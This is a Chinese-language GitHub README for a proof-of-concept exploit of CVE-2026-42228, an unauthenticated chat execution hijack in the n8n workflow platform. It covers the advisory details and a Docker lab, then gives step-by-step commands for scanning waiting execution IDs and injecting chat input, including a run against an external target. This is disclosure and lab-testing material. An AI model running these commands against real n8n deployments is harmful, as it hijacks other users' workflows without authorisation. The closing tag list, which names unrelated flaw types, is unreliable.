rudSarkar/CVE-2026-42228
GitHub: rudSarkar/CVE-2026-42228
n8n 工作流平台未认证聊天执行劫持漏洞(CVE-2026-42228)的概念验证工具,提供完整 Docker 实验环境和自动化利用脚本。
Stars: 0 | Forks: 0
# GHSA-f77h-j2v7-g6mw — n8n 未认证聊天执行劫持
**CVE:** CVE-2026-42228
**严重性:** 高
**受影响版本:** n8n < 1.123.32
**修复版本:** n8n 1.123.32 / 2.17.4 / 2.18.1
## 漏洞概述
`chat-service.ts :: startSession()` 接受来自 WebSocket
查询字符串的 `executionId`,并且仅检查该执行是否存在于数据库中。它从未
验证调用者是否有权访问该执行。
知道(或能够枚举)处于 **waiting** 状态的有效数字
执行 ID 的未认证攻击者可以:
1. 无需凭据即可连接到 `/chat` WebSocket。
2. 接收正在向合法用户显示的待处理 prompt。
3. 注入任意聊天输入,从而恢复并劫持工作流。
**前置条件:**
- 具有公开的 Hosted Chat 且 Authentication = None 的工作流处于激活状态。
- 至少有一个执行当前处于 `waiting` 状态。
- 攻击者能够猜测或枚举数字执行 ID(顺序整数)。
## 实验环境搭建
### 要求
- Docker ≥ 24 且包含 Compose v2
- 本地主机的 **5678** 端口空闲
### 一键设置
```
chmod +x exploit.sh
./exploit.sh setup
```
这会拉取 `n8nio/n8n:1.123.22`(最后受影响的发布版本),构建攻击者
镜像,并在 `http://localhost:5678` 启动易受攻击的目标。
## 端到端漏洞利用演练
### 1. 配置易受攻击的目标
1. 打开 `http://localhost:5678` 并完成设置向导(任意凭据)。
2. 创建一个新的工作流。
3. 添加一个 **Chat Trigger** 节点 → 设置 **Authentication = None**。
4. 在触发器之后添加一个 **Wait** 节点(或任何会暂停等待用户输入的节点)。
5. **激活**该工作流。
### 2. 触发 waiting 执行
打开 Chat Trigger 节点中显示的公开 Chat URL 并发送一条消息。
执行将进入 **waiting** 状态,暂停等待下一个聊天回复。
### 3. 扫描 waiting 执行(未认证)
```
./exploit.sh scan
# 或指定一个范围:
./exploit.sh scan 1 500
```
发现易受攻击的执行时的预期输出:
```
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
```
### 4. 直接攻击已知的执行 ID
```
./exploit.sh attack 7
# 或使用自定义 payload:
./exploit.sh attack 7 "custom injected message"
```
### 5. 观察劫持
回到 n8n 编辑器中,工作流将使用**攻击者**注入的消息恢复,
而不是合法用户的输入。
## 手动 Docker 命令
```
# 构建 attacker 镜像
docker build -t n8n-chat-hijack-poc .
# 扫描 (附加到共享的 lab 网络)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# 攻击特定的 execution
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# 针对外部目标 (不需要 network 标志)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
```
## 清理
```
./exploit.sh clean
```
停止容器并移除卷(包括 SQLite 数据库)。
## 文件
| 文件 | 描述 |
|---|---|
| `poc_GHSA-f77h-j2v7-g6mw.py` | 独立 Python PoC |
| `Dockerfile` | 攻击者容器镜像 |
| `docker-compose.yml` | 完整实验环境:易受攻击的 n8n + 攻击者 |
| `exploit.sh` | 用于常见操作的辅助脚本 |
## 参考文献
- [GHSA-f77h-j2v7-g6mw](https://github.com/advisories/GHSA-f77h-j2v7-g6mw)
- [n8n 发布 1.123.32 更新日志](https://github.com/n8n-io/n8n/releases/tag/n8n%401.123.32)
标签:Chat Execution Hijacking, CISA项目, CSV导出, Cutter, CVE-2026-42228, Docker, GHSA-f77h-j2v7-g6mw, IDOR, ID枚举, n8n, PoC, SSRF, WebSocket漏洞, XSS, 会话劫持, 安全防御评估, 工作流引擎, 暴力破解, 未授权访问, 漏洞复现, 漏洞情报, 版权保护, 等待状态劫持, 网络安全, 请求拦截, 越权访问, 逆向工具, 隐私保护, 高危漏洞